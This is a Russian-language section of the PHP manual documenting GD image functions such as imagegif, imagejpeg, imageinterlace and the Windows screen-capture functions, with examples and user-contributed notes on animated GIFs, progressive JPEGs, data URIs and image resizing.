8.0.3 | file теперь допускает значение null.
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
7.2.0 | Теперь imagegd() позволяет сохранять изображения "truecolor". Раньше они неявно преобразовывались к палитре.

Примеры

Пример #1 Вывод GD-изображения

<?php
// Создаём пустое изображение и добавляем текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);

// Выводим изображение
imagegd($im);

// Освобождаем память
imagedestroy($im);
?>

Пример #2 Сохранение GD-изображения

<?php
// Создаём пустое изображение и добавляем текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, "A Simple Text String", $text_color);

// Сохраняем GD-изображение
// Расширением GD-изображений является .gd, подробнее на http://www.libgd.org/GdFileFormats
imagegd($im, 'simple.gd');

// Освобождаем память
imagedestroy($im);
?>

Примечания

Замечание:

Формат GD обычно используется для быстрой загрузки деталей изображения. Заметим, что формат GD используется только в GD-совместимых приложениях.

Внимание

Форматы изображений GD и GD2 являются проприетарными форматами изображений libgd. Они должны рассматриваться как устаревшие и должны использоваться только для целей разработки и тестирования.

Смотрите также

  • imagegd2() - Вывод GD2 изображения в браузер или файл

User Contributed Notes

There are no user contributed notes for this page.


Получить отсекающий прямоугольник

  • « imagegd
  • imagegetinterpolation »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получить отсекающий прямоугольник

imagegetclip

(PHP 7 >= 7.2.0, PHP 8)

imagegetclip — Получить отсекающий прямоугольник

Описание

imagegetclip(GdImage $image): array

imagegetclip() возвращает текущий отсекающий прямоугольник, т.е. область, за пределами которой не будут отрисовываться пиксели.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Функция возвращает индексированный массив с координатами отсекающим прямоугольником, который имеет следующие записи:

  • x-координата верхнего левого угла
  • y-координата верхнего левого угла
  • x-координата нижнего правого угла
  • y-координата нижнего правого угла

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagegetclip()

Установка и извлечение отсекающего прямоугольника.

<?php
$im = imagecreate(100, 100);
imagesetclip($im, 10,10, 89,89);
print_r(imagegetclip($im));

Результат выполнения данного примера:

Array
(
    [0] => 10
    [1] => 10
    [2] => 89
    [3] => 89
)

Смотрите также

  • imagesetclip() - Установите прямоугольник ограничения

User Contributed Notes

There are no user contributed notes for this page.


Получает метод интерполяции

  • « imagegetclip
  • imagegif »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получает метод интерполяции

imagegetinterpolation

(PHP 8)

imagegetinterpolation — Получает метод интерполяции

Описание

imagegetinterpolation(GdImage $image): int

Получает текущий установленный метод интерполяции image.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает метод интерполяции.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Смотрите также

  • imagesetinterpolation() - Устанавливает метод интерполяции

User Contributed Notes

There are no user contributed notes for this page.


Выводит изображение в браузер или пишет в файл

  • « imagegetinterpolation
  • imagegrabscreen »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Выводит изображение в браузер или пишет в файл

imagegif

(PHP 4, PHP 5, PHP 7, PHP 8)

imagegif — Выводит изображение в браузер или пишет в файл

Описание

imagegif(GdImage $image, resource|string|null $file = null): bool

imagegif() создаёт GIF файл file из изображения image. Аргумент image возвращается функциями imagecreate() или imagecreatefrom*.

Файл будет иметь формат GIF87a, если изображение не было сделано прозрачным функцией imagecolortransparent(). В этом случае форматом файла будет GIF89a.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Вывод изображения, используя imagegif()

<?php
// Создание изображения
$im = imagecreatetruecolor(100, 100);

// Создание белого фона
imagefilledrectangle($im, 0, 0, 99, 99, 0xFFFFFF);

// Рисование текста на изображении
imagestring($im, 3, 40, 20, 'GD библиотека', 0xFFBA00);

// Вывод изображения в броузер
header('Content-Type: image/gif');

imagegif($im);
imagedestroy($im);
?>

Пример #2 Преобразование PNG в GIF, используя imagegif()

<?php

// Загрузка PNG
$png = imagecreatefrompng('./php.png');

// Сохранение как GIF
imagegif($png, './php.gif');

// Освобождение памяти
imagedestroy($png);

// готово
echo 'Преобразование PNG в GIF успешно завершено!';
?>

Примечания

Замечание:

Следующий пример кода позволит вам писать PHP приложения, которые будут проще портироваться на разные системы. В нем используется автоопределение типа GD поддержки доступной в данный момент. Замените строки: header ("Content-Type: image/gif"); imagegif ($im); на более переносимые:

<?php
// Создание нового изображения
$im = imagecreatetruecolor(100, 100);

// Какие-либо операции с изображением

// Обработка вывода
if(function_exists('imagegif'))
{
// для GIF
header('Content-Type: image/gif');

imagegif($im);
}
elseif(function_exists('imagejpeg'))
{
// для JPEG
header('Content-Type: image/jpeg');

imagejpeg($im, NULL, 100);
}
elseif(function_exists('imagepng'))
{
// для PNG
header('Content-Type: image/png');

imagepng($im);
}
elseif(function_exists('imagewbmp'))
{
// для WBMP
header('Content-Type: image/vnd.wap.wbmp');

imagewbmp($im);
}
else
{
imagedestroy($im);

die('В этом PHP сервере нет поддержки изображений');
}

// Если не поддерживается ни один из форматов
// освободим память
if($im)
{
imagedestroy($im);
}
?>

Замечание:

Вы можете использовать функцию imagetypes() для проверки, какие форматы поддерживаются:

<?php
if(imagetypes() & IMG_GIF)
{
header('Content-Type: image/gif');
imagegif($im);
}
elseif(imagetypes() & IMG_JPG)
{
/* ... и т.д. */
}
?>

Смотрите также

  • imagepng() - Вывод PNG изображения в браузер или файл
  • imagewbmp() - Выводит изображение в браузер или пишет в файл
  • imagejpeg() - Выводит изображение в браузер или пишет в файл
  • imagetypes() - Возвращает список типов изображений, поддерживаемых PHP сборкой

User Contributed Notes

coldume 06-Sep-2013 07:19
To keep GIF animation, you can try the class writing based on GD
GD Enhancer http://www.gdenhancer.com/
mail at ignore dot area dot nospam dot joshho dot com 11-Jan-2012 10:37
apparently GD does not support animated GIFs.

instead, we're stuck with the old fashioned way:
<?php
header('Content-Type: image/gif');
echo file_get_contents($destPathImage);
?>
grant k. 27-Jul-2010 10:46
It should be noted that if you only want to "save" the file, and not display it to the browser, you should catch the imagegif into a variable.

Example:

<?php
//Only saves the file to a destination, no display

$image_value = imagegif($image, $save_file_to_path);

//Saves file and attempts to display it, but will throw an error message

imagegif($image, $save_file_to_path);

//Only displays, never saves as a file
imagegif($image);

//Note: In [my] third example, for displaying only, it is probably good to use the "header('Content-type: image/gif'); declaration, but it's not needed in the first example for saving as a .gif file.
?>
stefan at colulus dot com 30-May-2008 11:18
I worked out a script that allows the transfer of alphanumeric data to be placed on an image. The HTML feature is img src and the php feature is imagettftext. This simple code will increment from 1 to 3 on images.

code:

<?php
//ImageCall.php -- This script will call a script to produce the image.
for($next = 1;$next < 4; $next++){
print "Image $next:<br>";
print "<img src = 'Image.php?\$text=$next'>";
print "<br><br>";
}
?>

<?php
//Image.php -- This script creates a square image and places the text on it.

// image size and color
$im = ImageCreate(77,77);
$color1 = ImageColorAllocate($im,0x66,0xCC,0x00);
$color2 = ImageColorAllocate($im,0x33,0x66,0x00);
$color3 = ImageColorAllocate($im,0x00,0x99,0x00);
$color4 = ImageColorAllocate($im,0x3D,0x3D,0x3D);

// image creation
ImageFilledRectangle($im,1,1,76,76,$color1);
ImageFilledpolygon($im, array (76,1,1,76,76,76),3,$color2);
ImageFilledRectangle($im,5,5,72,72,$color3);

// determine numeric center of image
$size = ImageTTFBBox(45,0,'impact',$_GET['$text']);
$X = (77 - (abs($size[2]- $size[0])))/2;
$Y = ((77 - (abs($size[5] - $size[3])))/2 + (abs($size[5] - $size[3])));

//places numeric information on image
ImageTTFText($im,45,0,($X-1),$Y,$color4,'impact',$_GET['$text']);

//returns completed image to calling script
Header('Content-Type: image/png');
Imagegif($im);

?>
alan hogan dot com slash contact 12-Nov-2007 02:47
Note that you *can* save with a transparent color **and dither** using GD2.
For a useful example, see the png-to-gif function in my coment here:
http://www.php.net/manual/en/function.imagecolorat.php
rokfaith at gmail dot com 06-Jul-2006 03:34
to create an animated gif with gifsicle, but without storing temporary images on disk:

<?php
$cmd = 'gifsicle --loop -O1 --multifile --delay 25 - > '.$outfile;
$desc = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
$proc = proc_open($cmd, $desc, $pipes);
if (!is_resource($proc)) {
  die('Unable to start gifsicle');
}
for ($frame=0; $frame<$total_frames; $frame++) {
  $image = RenderFrame($frame);
  ob_start();
  imagegif($image);
  fwrite($pipes[0], ob_get_contents());
  ob_end_clean();
  imagedestroy($image);
}
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($proc);
?>

just define $outfile and RenderFrame(), and that's it.
Leigh Purdie 03-Jul-2005 05:17
Simple animated-gif hack (requires ImageMagick):

<html><body>
<?php
        $icount=0;
        for($count=0;$count<40;$count++) {
                $im=imagecreate(200,200);
                imagecolorallocate($im,0,0,255);
                $white=imagecolorallocate($im,255,255,255);
                imagerectangle($im,$count,$count,200-$count,200-$count,$white);
                $icount++;
                $tcount=sprintf("%04d",$icount);
                imagegif($im,"/tmp/test-$tcount.gif");
                imagedestroy($im);
        }
        exec("/usr/bin/convert -delay 2 -loop 10 /tmp/test*.gif /var/www/html/Tests/Test-Anim.gif");
?>
<img src="/Tests/Test-Anim.gif">
</body>
</html>
Lauri Harpf 23-Jun-2005 09:25
Using <IMG SRC="image.php"> to dynamically generate images is a bit problematic regarding cache. Unless caching is activated, IE seems to get confused about the type of the image when attempting to save it. A .GIF created in the above way causes the browser to suggest saving the image with .BMP, not .GIF.

A solution is to activate cache with session_cache_limiter('public'); in "image.php", after which IE will correctly save as .GIF. If you do not want the cache to block any changes in the dynamic image, make sure that the SRC keeps changing with every reload. Something like "image.php/" . mt_rand(1,100000) . ".gif" seems to work well.

Might be trivial to some, but I spent a couple of hours figuring out why IE always wants to save my dynamic .GIF's as .BMP's.
jemore at nospam dot m6net dot fr 22-Nov-2003 10:24
If you open a truecolor image (with imageCreateFromPng for example), and you save it directly with imagegif, you can have a 500 internal server error. You must use imageTrueColorToPalette to reduce to 256 colors before saving the image in GIF format.
polone at townnews dot com 03-Apr-2002 11:40
read also RFC2557: http://www.ietf.org/rfc/rfc2557.txt
For handling inline images in email.
----

I've been playing around with the "data" URL scheme as proposed by RFC 2397 which states how to perform inline, bas64 encoded images. A number of browsers support this format from some of my tests and would be an interesting way of removing overhead from multiple HTTP connections. Basically, the IMG tag would be:

<IMG SRC="/-/data:image/gif;base64,R0lGODdhMAAwAPAAAAAAAP///ywAAAAAMAAw AAAC8IyPqcvt3wCcDkiLc7C0qwyGHhSWpjQu5yqmCYsapyuvUUlvONmOZtfzgFz ByTB10QgxOR0TqBQejhRNzOfkVJ+5YiUqrXF5Y5lKh/DeuNcP5yLWGsEbtLiOSp a/TPg7JpJHxyendzWTBfX0cxOnKPjgBzi4diinWGdkF8kjdfnycQZXZeYGejmJl ZeGl9i2icVqaNVailT6F5iJ90m6mvuTS4OK05M0vDk0Q4XUtwvKOzrcd3iq9uis F81M1OIcR7lEewwcLp7tuNNkM3uNna3F2JQFo97Vriy/Xl4/f1cf5VWzXyym7PH hhx4dbgYKAAA7" ALT="Larry">

Something like that. Note also that I start the URI with "/-/" before the rest of the data scheme spec. If you don't start it with this, it won't work in a lot of the different browsers I tested (such as IE). Note this is useful for very small images only (as most browsers appear to have a limitation on the size of HTML element data of 1024). Browsers where this syntax worked that I tested are the following:

IE 6.x (windows)
Mozilla 0.97+ (linux)
Opera 5, 6 (windows)
Netscape 4.7+ (mac, windows)
IE 5 (macintosh)

This should work for other image types as well, such as PNG. JPEG files aren't really suggested (usually, these files are too large). BTW - there is no advantage to this method if the image will appear more than ONCE in the page because you will be transmitting the same data multiple times as opposed to just once (most browsers realize that already downloaded data that has multiple references only requires one HTTP call).

Consider using this method if you want to make a single PHP program that outputs both text and an image AND you want to make only on HTTP call. Cheers.
kremlin at home dot com 26-Feb-2001 09:45
Animated GIFs as well as transparent GIFs qualify as GIF89a's and you should use ImageColorTransparent().
david at hooshla dot com 28-Apr-2000 07:45
This is how you load and display an image file:

<?php
Header("Content-Type: image/gif");
$fn=fopen("./imagefile.gif","r");
fpassthru($fn);
?>

Note that there are no new-lines in the content type header.


Захватывает изображение с экрана

  • « imagegif
  • imagegrabwindow »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Захватывает изображение с экрана

imagegrabscreen

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

imagegrabscreen — Захватывает изображение с экрана

Описание

imagegrabscreen(): GdImage|false

Делает скриншот.

Замечание:

Функция доступна только в Windows.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения, false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).

Примеры

Пример #1 Пример использования imagegrabscreen()

В этом примере показано, как сделать снимок экрана и сохранить его, как png картинку.

<?php
$im = imagegrabscreen();
imagepng($im, "myscreenshot.png");
imagedestroy($im);
?>

Смотрите также

  • imagegrabwindow() - Захватывает изображение окна

User Contributed Notes

divinity76 at gmail dot com 22-Mar-2019 02:45
if you for whatever reason need this in Cygwin, this can be done with the library at https://github.com/divinity76/autoit_php

- cygwin-compatible rough equivalent:

<?php
if(!function_exists("imagegrabscreen")){
    function imagegrabscreen()/*:gd-resource*/{
        require_once("autoit.class.php");
        $au=new AutoIt();
        $png_binary=$au->_ScreenCapture_Capture();
        return imagecreatefromstring($png_binary);
    }
}

(note that unlike the real imagegrabscreen() , this function may throw a RuntimeException if there is a problem taking the picture, or if autoit.class.php cannot be loaded)
Nitrogen 12-Dec-2009 07:22
If you have multiple displays set up, this function will only grab the primary display; not all of them like you would with the 'Print Screen' key.

Also, this should be pretty obvious but I'll mention it anyway, if you're running GPU-intensive applications (not CPU), calling this function will cause quite some significant lag to your machine and server response until the request is complete.
andrew at local dot co dot nz 18-Apr-2008 04:02
For this to work your Apache service must be set to 'Allow service to interact with desktop' otherwise you will just get a blank image. To fix this right-click My Computer, select Manage/Services and Applications/Services - find the apache service (like Apache2) and right-click, select Properties - choose the Log on tab and check the 'Allow service to interact with desktop' checkbox. Restart Apache.


Захватывает изображение окна

  • « imagegrabscreen
  • imageinterlace »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Захватывает изображение окна

imagegrabwindow

(PHP 5 >= 5.2.2, PHP 7, PHP 8)

imagegrabwindow — Захватывает изображение окна

Описание

imagegrabwindow(int $handle, bool $client_area = false): GdImage|false

Делает снимок окна или его клиентской части, используя windows обработчик (свойство HWND COM объекта)

Замечание:

Функция доступна только в Windows.

Список параметров

handle

ID окна HWND.

client_area

Включает клиентскую часть окна приложения.

Возвращаемые значения

Возвращает объект изображения в случае успешного выполнения, false в случае возникновения ошибки.

Ошибки

E_NOTICE выдаётся, если handle является недопустимым обработчиком окна. E_WARNING выдаётся, если Windows API устарел.

Список изменений

Версия | Описание
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).
8.0.0 | client_area теперь ожидает логическое значение (bool); ранее ожидалось целое число (int).

Примеры

Пример #1 Пример использования imagegrabwindow()

Захват окна (IE например)

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$im = imagegrabwindow($handle);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Захват окна (IE например) с содержимым

<?php
$browser = new COM("InternetExplorer.Application");
$handle = $browser->HWND;
$browser->Visible = true;
$browser->Navigate("http://www.libgd.org");

/* ещё работает? */
while ($browser->Busy) {
com_message_pump(4000);
}
$im = imagegrabwindow($handle, 0);
$browser->Quit();
imagepng($im, "iesnap.png");
imagedestroy($im);
?>

Смотрите также

  • imagegrabscreen() - Захватывает изображение с экрана

User Contributed Notes

nico ->atdot 29-Sep-2007 08:37
If you just want to take a screenshot of a website WITHOUT the ugly IE window around it, the easiest way is setting the "Fullscreen" property to TRUE.

$browser->Fullscreen = true;

This is basically the same as pressing F11 once the browser is open, so you just get the actual website.


Включение или выключение интерлейсинга

  • « imagegrabwindow
  • imageistruecolor »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Включение или выключение интерлейсинга

imageinterlace

(PHP 4, PHP 5, PHP 7, PHP 8)

imageinterlace — Включение или выключение интерлейсинга

Описание

imageinterlace(GdImage $image, ?bool $enable = null): bool

imageinterlace() переключает состояние бита интерлейсинга.

Если установить бит интерлейсинга, а изображение загрузить, как JPEG, это приведёт к созданию прогрессивного JPEG.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

interlace

Если значение true, изображение будет разбито на чередующиеся строки, в противном случае бит интерлейсинга будет установлен в false.

Возвращаемые значения

Возвращает true, если бит интерлейсинга установлен, false в противном случае.

Список изменений

Версия | Описание
8.0.5 | imageinterlace() теперь возвращает логическое значение (bool); ранее она возвращала целое число (int). (ненулевое значение для изображений с интерлейсингом, в противном случае - ноль).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | enable теперь ожидает логическое значение (bool); ранее ожидалось целое число (int).

Примеры

Пример #1 Включение интерлейсинга, используя imageinterlace()

<?php
// Создание нового изображения
$im = imagecreatefromgif('php.gif');

// Включение интерлейсинга
imageinterlace($im, true);

// Сохранение изображения
imagegif($im, './php_interlaced.gif');
imagedestroy($im);
?>

User Contributed Notes

info at dvorakj dot com 29-Oct-2020 09:09
This function will be great only after that browsers will stop sending next data if it is already sent enought to display them on users's screen due to its possibilities and more pixels to send are absolutely useless. This is the current purpose of jpeg progressivity and still not implemented. After that, you doesn't have to create many versions of pictures for different densities of screens and it will save a lot of things.
razvan_bc at yahoo dot com 14-Jan-2020 08:54
this function really saved my day !!!

well for testing i should upload several jpg some had jfif encoding ,
so some are color losing when i include them in fpdf ,tcpdf (i tryed 2 open sources to minimize errors to know wht's wrong) .
the thumb function i used now (fixed) is

public static function jpgtofilethumb($file,$thumb,$lun,$quality){
        //de la php.net
        list ($x, $y) = @getimagesize ($file);
        $img = @imagecreatefromjpeg ($file);
        if ($x > $y) {
            $tx = $lun;
            $ty = round($lun / $x * $y);
        } else {
            $tx = round($lun / $y * $x);
            $ty = $lun;
        }
        $thb = imagecreatetruecolor ($tx, $ty);

        // Enable interlancing
        if(imageistruecolor($thb)) imageinterlace($thb, true);

        imagecopyresampled ($thb,$img, 0,0, 0,0, $tx,$ty, $x,$y);
        imagejpeg ($thb, $thumb, $quality);
        imagedestroy ($thb);
        imagedestroy ($img);
    }
Gerry Danen 24-Jan-2007 05:20
It was suggested that this function can be used to retrieve the interlace bit of an image that is stored in a file. This is not the case.
While imageinterlace() returns 0 or 1 if a valid Image resource is passed, passing a file name as a string results in a PHP warning and the return value is neither 0 nor 1.
julien / at / theoconcept.com 29-Jan-2006 02:33
This function is useful when working with Ming, as SWFBitmap constructor will use a NON INTERLACED Jpeg file, so you have to use imageinterlace(0);
mangobrain.co.uk 17-Jan-2006 02:03
dr_snapid's comment that "the server sends every Nth line" is not entirely true. A web server need not know anything about the contents of the file it is sending; its job is simply to send the data. Rather, the image is created in such a way that the data corresponding to "every Nth line" appears at the beginning of the file, with the details becoming able to be filled in as more of the file is received by the browser. In PHP's case, the data may have been generated dynamically instead of pulled from a file, but this does not change the fact that it is the data itself that is different, not the manner in which it is sent.*

In fact, with JPEG, it is less "every Nth line", and more "every Nth pixel", where N is gradually decreased, resulting in a grid that gets progressively more fine-grained as the data is received (hence the appearance of a low res image becoming more detailed). The browser basically estimates what goes in the gaps between pixels, probably by simply blending between the colours, whilst the "real" data continues arriving. This is a fundamentally different method for encoding the data when compared to non-progressive JPEGs, and coupled with the format's other compression techniques, may indeed result in a different file size.

*Can you imagine how much more buggy the Web would be if servers were expected to send different file types using different algorithms, and browsers were expected to be able to receive every one of them?
dr_snapid at mxm dot com dot au 21-Nov-2005 08:16
Interlacing doesnt store another image, it simple changes the order in which the images lines are sent and rendered. The server sends every Nth line, reaches the end, then goes back to the start, reading the lines in between.

After each pass the browser displays the downloaded lines, plus filles the lines not yet received the same, but with each pass the gaps being filled get smaller and the image sharpens. After several passes every line has been read, and the browser has rendered the image in full detail.

Hope that makes sense, it does explain why there should not really be any difference in filesize, so I cant explain why some people have observed a file size difference.

As I understand it, there is only 1 bit in the file which says if its interlaced or not, and the server and client (browser) just handle it differently if it is set to 1.
thomas dot brandl at barff dot de 15-Jul-2005 12:28
Set imageinterlace() to 0 if you need to load the generated images in Flash. Flash does not support progressive JPEGs
drake127 11-Jun-2005 03:51
Interlancing works also with PNG files but it increase filesize (from 14.4M to 17.7M).
mironto at mironto dot sk 19-Nov-2004 06:17
just to add my 5 cents on the progressive principle of jpeg: there are no several lowres images stored in jpeg along with original picture, the only thing altered is the order of "pixels". in jpeg the image is divided in areas 8x8 pixels, so instead of linear order of pixels (row-by-row), first there is one pixel form each 8x8 area included in the begining of the image data stream, so when the browser recieves all 8x8 area pixels, it can display "pixelate" image and as soon as it recieves more data, the browser can add more pixels and "sharpen" the image.
manuel.warum at edu.uni-klu.ac.at 15-Apr-2004 10:41
About MichaelSoft's note "Imageinterlace($im, 1) creates a JPG which is first loaded completely before showing anything":

Actually, that's not completely true.
This only happens with Internet Explorer (any version, for the time being) as it doesn't seem to support progressive displaying and rather shows the image, when it's 100% done with loading. Other browsers (Mozilla, Mozilla Firefox, Opera, Konqueror, etc.) do their job as they're supposed to do: Displaying a very low-res image, then overlaying a midlow-res image (while loading), and then displaying more and more details.
ben dash xo at dubplates dot org 19-Mar-2004 06:25
There is a bug in Microsoft Internet Explorer (at least at present) that means that often, a progressive/interlaced JPEG will actually NOT show at all whilst loading, suddenly appearing only when the entire picture has loaded. A regular NON-interlaced/NON-progressive JPEG will display line by line as it loads, which paradoxically gives the illusion that it's loading faster. MSIE definitely has this one backwards!!

This behaviour is not apparent in other browsers such as Mozilla/FireFox - in these browsers, the image loads progressively, as it should.
PHPProgrammer 24-Nov-2003 06:21
Using the interlace-option reduces the filesize! (doesnt really match with the idea that an additional low-res-image is stored)


Определяет, является ли изображение полноцветным

  • « imageinterlace
  • imagejpeg »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Определяет, является ли изображение полноцветным

imageistruecolor

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imageistruecolor — Определяет, является ли изображение полноцветным

Описание

imageistruecolor(GdImage $image): bool

imageistruecolor() определяет, является ли изображение image полноцветным.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

Возвращаемые значения

Возвращает true, если image полноцветное, false в противном случае.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Простое определение полноцветных изображений с помощью imageistruecolor()

<?php
// $im - изображение

// Проверка, является ли изображение полноцветным
if(!imageistruecolor($im))
{
// Создание truecolor-изображения
$tc = imagecreatetruecolor(imagesx($im), imagesy($im));

// копирование из точки
imagecopy($tc, $im, 0, 0, 0, 0, imagesx($im), imagesy($im));
imagedestroy($im);

$im = $tc;
$tc = NULL;

// или используйте imagepalettetotruecolor()
}

// Continue working with image instance
?>

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения
  • imagepalettetotruecolor() - Преобразует изображение на основе палитры в настоящий цвет

User Contributed Notes

There are no user contributed notes for this page.


Выводит изображение в браузер или пишет в файл

  • « imageistruecolor
  • imagelayereffect »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Выводит изображение в браузер или пишет в файл

imagejpeg

(PHP 4, PHP 5, PHP 7, PHP 8)

imagejpeg — Выводит изображение в браузер или пишет в файл

Описание

imagejpeg(GdImage $image, resource|string|null $file = null, int $quality = -1): bool

Функция imagejpeg() создаёт файл JPEG из изображенияimage.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

file

Путь, или открытый потоковый ресурс (который автоматически закрывается после завершения функции), для сохранения файла. Если не установлен или равен null, изображение будет выведено в поток вывода в бинарном виде.

quality

Необязательный параметр, и может принимать значения в диапазоне от 0 (низкое качество, маленький размер файла) до 100 (высокое качество, большой размер файла). По умолчанию (-1) используется качество IJG (около 75).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Предостережение

Однако, если libgd не может вывести изображения, эта функция вернёт true.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Вывод JPEG-изображения в браузер

<?php
// Создаём пустое изображение и добавляем текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// Устанавливаем тип содержимого в заголовок, в данном случае image/jpeg
header('Content-Type: image/jpeg');

// Выводим изображение
imagejpeg($im);

// Освобождаем память
imagedestroy($im);
?>

Результатом выполнения данного примера будет что-то подобное:

Пример выведет изображение JPEG

Пример #2 Сохранение изображения JPEG в файл

<?php
// Создаём пустое изображение и добавляем текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// Сохраняем изображение в 'simpletext.jpg'
imagejpeg($im, 'simpletext.jpg');

// Освобождаем память
imagedestroy($im);
?>

Пример #3 Вывод JPEG-изображения с 75% качеством в браузер

<?php
// Создаём пустое изображение и добавляем текст
$im = imagecreatetruecolor(120, 20);
$text_color = imagecolorallocate($im, 233, 14, 91);
imagestring($im, 1, 5, 5, 'A Simple Text String', $text_color);

// Устанавливаем тип содержимого в заголовок, в данном случае image/jpeg
header('Content-Type: image/jpeg');

// Пропускаем параметр file, используя NULL, а затем устанавливаем качество в 75%
imagejpeg($im, NULL, 75);

// Освобождаем память
imagedestroy($im);
?>

Примечания

Замечание:

Если требуется вывести Progressive JPEG (прогрессивное представление данных), то необходимо использовать функцию imageinterlace() для активации соответствующего режима.

Смотрите также

  • imagepng() - Вывод PNG изображения в браузер или файл
  • imagegif() - Выводит изображение в браузер или пишет в файл
  • imagewbmp() - Выводит изображение в браузер или пишет в файл
  • imageinterlace() - Включение или выключение интерлейсинга
  • imagetypes() - Возвращает список типов изображений, поддерживаемых PHP сборкой

User Contributed Notes

Uplink 03-Mar-2023 11:01
If you use the official Docker images and enable gd with `docker-php-ext-install gd`, you don't get JPEG support by default.

If that's you, and you get "Call to undefined function imagejpeg()", the you need to do this before docker-php-ext-install:

docker-php-ext-configure gd --with-jpeg

You'll also want to install libjpeg-dev for this to work.
flying man 29-Sep-2019 08:10
ZERO BYTE FILE RESULT - HERE'S WHY!

Take to heart that CAUTION note on this function. If gdlib fails to output, it still returns true!  I'd call that a bug personally.

GD will fail to output if you have an image exceeding its maximum undisclosed dimensions of 65500 pixels.

You'll get a zero byte file instead
Bruno de Lima - bruno at tthedreamstone dot net 23-Jul-2013 07:23
[[Editor's note: removed the header()-call since it is not required when outputting inline image-data]]
One single code line, solve-me after 3 hours of blind search!

here is:

... ob_start();
  imagejpeg( $img, NULL, 100 );
  imagedestroy( $img );
  $i = ob_get_clean();

echo "<img src='data:image/jpeg;base64," . base64_encode( $i )."'>"; //saviour line!
bernytech at gmail dot com 05-May-2011 03:32
Don't be like me racking my brain for hours trying to figure out why my xxx.php file outputs http://localhost/xxx.php as a one line response.

Why?

Most likely, you have either:

1. whitespaces before or after the php tags
2. need to set header('Content-type: image/jpeg');
3. if you have required files...be sure nothing is outputted...no test print statements because page expects image information
4.  there is an error in your code

in my case, it was 4.  there is a reason why the function call base64decode does not work...

it's actually: base64_decode()

by the way, other ways to validate your image encoded in base64 is to use the following tag:

echo '<img src="data:image/jpeg;base64,'.$row['IMAGE'].'" alt="photo">';

I was pulling a blob encoded base 64 data from mysql database and trying to render it on a page

hope this helps someone.
Ray.Paseur sometimes uses Gmail 22-Sep-2010 03:06
If string $filename is given and it exists, it will be overwritten.
tomas at dundacek dot cz 08-Jun-2009 01:31
I had a problem with denied permissions when trying to upload AND resize an image having safe_mode on. This caused that I couldn't create the new file in which I wanted to resampled the image with nor with imagejpeg() nor with touch() and imagejpeg() after it.

Here is my solution, I didn't test, but it's possible, it is biting some memory:

<?php
function resize($image, $target_file) {
  // $image is the uploaded image
  list($width, $height) = getimagesize($image['tmp_name']);

  //setup the new size of the image
  $ratio = $width/$height;
  $new_height = 500;
  $new_width = $new_height * $ratio;

  //move the file in the new location
  move_uploaded_file($image['tmp_name'], $target_file);

  // resample the image
  $new_image = imagecreatetruecolor($new_width, $new_height);
  $old_image = imagecreatefromjpeg($target_file);
  imagecopyresampled($new_image,$old_image,0,0,0,0,$new_width, $new_height, $width, $height);

  //output
  imagejpeg($new_image, $target_file, 100);
}

?>

